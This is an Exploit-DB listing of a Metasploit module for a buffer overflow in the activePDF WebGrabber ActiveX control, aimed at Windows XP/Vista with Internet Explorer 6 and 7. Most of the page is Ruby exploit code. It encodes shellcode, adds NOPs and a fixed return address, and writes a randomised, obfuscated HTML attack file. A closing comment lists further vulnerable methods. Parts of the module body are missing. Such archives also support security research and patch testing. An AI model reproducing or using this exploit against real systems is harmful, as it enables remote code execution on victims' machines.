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activePDF WebGrabber - ActiveX Control Buffer Overflow (Metasploit)

EDB-ID:

16635

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[REMOTE](#)

Exploit:  



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```
##
# $Id: activepdf_webgrabber.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'activePDF WebGrabber ActiveX Control
Buffer Overflow',
      'Description' => %q{
```

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```

      {
        'EXITFUNC' => 'process',
        'DisablePayloadHandler' => 'true',
      },
      'Payload' =>
      {
        'Space' => 1024,
        'BadChars' => "\x00",
      },
      'Platform' => 'win',
      'Targets' =>
      [
        [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2
/ IE 7', { 'Ret' => 0x0A0A0A0A } ]
      ],
      'DisclosureDate' => 'Aug 26 2008',
      'DefaultTarget' => 0))

  register_options(
    [
      OptString.new('FILENAME', [ false, 'The file name.',
'msf.html' ]),
    ], self.class)
  end
```



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```

def exploit
  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded,
  Rex::Arch.endian(target.arch))

  # Create some nops.
  nops     = Rex::Text.to_unescape(make_nops(4))

  # Set the return.
  ret      = Rex::Text.uri_encode([target.ret].pack('L'))

  # Randomize the javascript variable names.
  vname    = rand_text_alpha(rand(100) + 1)
  var_i    = rand_text_alpha(rand(30)  + 2)
  rand1    = rand_text_alpha(rand(100) + 1)
  rand2    = rand_text_alpha(rand(100) + 1)
  rand3    = rand_text_alpha(rand(100) + 1)
  rand4    = rand_text_alpha(rand(100) + 1)
  rand5    = rand_text_alpha(rand(100) + 1)
  rand6    = rand_text_alpha(rand(100) + 1)
  rand7    = rand_text_alpha(rand(100) + 1)
  rand8    = rand_text_alpha(rand(100) + 1)

  content  = %Q|<html>

```


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```

} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
</html>
|

content = Rex::Text.randomize_space(content)

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(content)
end

end

=begin

Other methods that are vulnerable.

[id(0x00000050), helpstring("Clean up after a WWWPrint call.")]
void CleanUp(BSTR ServerIPAddress, long ServerPort);

[id(0x00000055)]
BSTR Wait(BSTR IPAddress, long PortNumber, short WaitTime, BSTR
AcceptedCommands);

```



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acceptedcommands ;

...and probably more.
=end

Tags: [Metasploit Framework \(MSE\)](#)

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